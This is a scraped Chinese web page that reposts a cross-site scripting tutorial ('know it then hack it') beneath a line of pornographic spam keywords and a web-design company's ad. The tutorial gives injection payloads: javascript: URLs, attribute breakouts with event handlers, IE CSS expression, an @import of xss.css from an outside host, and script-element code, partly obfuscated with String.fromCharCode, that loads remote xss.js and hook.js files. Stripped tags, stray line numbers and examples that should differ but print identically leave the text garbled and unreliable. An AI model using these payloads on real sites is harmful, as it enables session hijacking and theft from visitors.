日韩无码专区无码一级三级片|91人人爱网站中日韩无码电影|厨房大战丰满熟妇|AV高清无码在线免费观看|另类AV日韩少妇熟女|中文日本大黄一级黄色片|色情在线视频免费|亚洲成人特黄a片|黄片wwwav色图欧美|欧亚乱色一区二区三区

RELATEED CONSULTING
相關(guān)咨詢
選擇下列產(chǎn)品馬上在線溝通
服務(wù)時間:8:30-17:00
你可能遇到了下面的問題
關(guān)閉右側(cè)工具欄

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營銷解決方案
前端安全:know it then hack it

一、html可以執(zhí)行javascript的地方有哪些?

創(chuàng)新互聯(lián)主營西區(qū)網(wǎng)站建設(shè)的網(wǎng)絡(luò)公司,主營網(wǎng)站建設(shè)方案,成都App制作,西區(qū)h5成都小程序開發(fā)搭建,西區(qū)網(wǎng)站營銷推廣歡迎西區(qū)等地區(qū)企業(yè)咨詢

先舉個例子比如這個代碼

1f4ck

變量$a可控,怎么讓這個代碼彈框(執(zhí)行javascript代碼)呢?

(1)屬性值引入javascript:[code]偽協(xié)議,來執(zhí)行javascript代碼。也就是$a=javascript:alert(1)

只有引用文件的屬性才能觸發(fā)javascript腳本,這些標(biāo)簽有:

href

action

bgsound

background

value

dynsrc

lowsrc。

1

2

3

4

5

由于這些屬性值不是通用屬性,所以會在不同的標(biāo)簽中,如果在火狐上測試不成功請在ie下測試,我用ie6測試是成功的。

(2)"閉合前一個屬性值,引入事件驅(qū)動屬性。事件驅(qū)動屬性的值是javascript代碼,所以可以執(zhí)行javascript。事件驅(qū)動屬性是標(biāo)簽的通用屬性,所以所有標(biāo)簽都可以用。也就是

1$a="onclick=alert(1)

2這樣的事件驅(qū)動屬性標(biāo)簽還有:

ondblclick

onmousedown

onmouseup

onmouseover

onmousemove

onmouseout

onmousepress

onmousedown

onmouseup

1f4ck

(3)閉合標(biāo)簽,引入

(4)CSS可以通過expression屬性執(zhí)行javascript代碼

expression是ie獨有的css屬性,其目的是為了插入一段javascript代碼。

1

在ie6下執(zhí)行成功。

1@import"http://www.91ri.org/xss.css";

可以從外部導(dǎo)入存在xss代碼的css樣式。

如果css屬性可控,除了可以在expression后面添加javascript代碼執(zhí)行外,還可以像(2)(3)一樣通過閉合標(biāo)簽和屬性值來達(dá)到執(zhí)行javascript的目的。

烏云上的案例:http://www.wooyun.org/tags/css%E...5%AF%BC%E8%87%B4xss

綜上,可以在html里執(zhí)行javascript的地方有

1、利用javascript:在屬性值里2、事件驅(qū)動屬性3、標(biāo)簽中(包括這種形式)4、CSS中的expression屬性中(僅IE)。

二、為什么編碼后的代碼仍然可以執(zhí)行?

(1)上面的$a是沒被過濾的,但假如被過濾了怎么辦,假如只是黑名單過濾了javascript,或者只是對$a進(jìn)行了htmlspecialchars()轉(zhuǎn)換。執(zhí)行javascript的地方只進(jìn)行了html編碼。

f4ck

$a的值

1javascript:alert(1)

$a的值

1javascript:alert(1)

$a的值:

1javascript:alert(1)

以上為html的三種編碼。提交后,可以繞過黑名單javascript,進(jìn)行htmlspecialchars()編碼是不會發(fā)生任何變化的,那么,這段代碼為什么會執(zhí)行?

因為這個代碼,瀏覽器從頭解析當(dāng)解析到,$a的值時,正常將它解碼,就變成javascript:alert(1),然后這個代碼在href屬性中,所以就執(zhí)行了。

三、怎么遠(yuǎn)程加載外部js?

先來說說html標(biāo)記,html標(biāo)記其實可以分為兩種

1、文本用閉合標(biāo)簽。

例:

f4ck

2、引用內(nèi)容用自閉合標(biāo)簽。

例:

瀏覽器會在html頁面加載時,額外向服務(wù)器發(fā)送請求,注:這里是html標(biāo)簽的特性,不要和同源策略相混淆,同源策略是用來限制瀏覽器的。

加載進(jìn)來的js和本域是同源的。

哪些標(biāo)簽可以遠(yuǎn)程加載外部js,并執(zhí)行呢?

1、

1

2、

1

3、

1

其實3就是dom的方法創(chuàng)建和插入節(jié)點。

1vars=document.createElement("script");

2s.src="http://www.91ri.org/xss.js";

3document.getElementsByTagName("head")[0].appendChild(s);

直接用3用于

viewsource

1

2varb=document.createElement(String.fromCharCode(115,99,114,105,112,116));

3b.type=String.fromCharCode(116,101,120,116,47,106,97,118,97,115,99,114,105,112,116);

4b.src=‘hook.js';

5a.appendChild(b);">


當(dāng)前文章:前端安全:know it then hack it
轉(zhuǎn)載注明:http://www.5511xx.com/article/djsopdd.html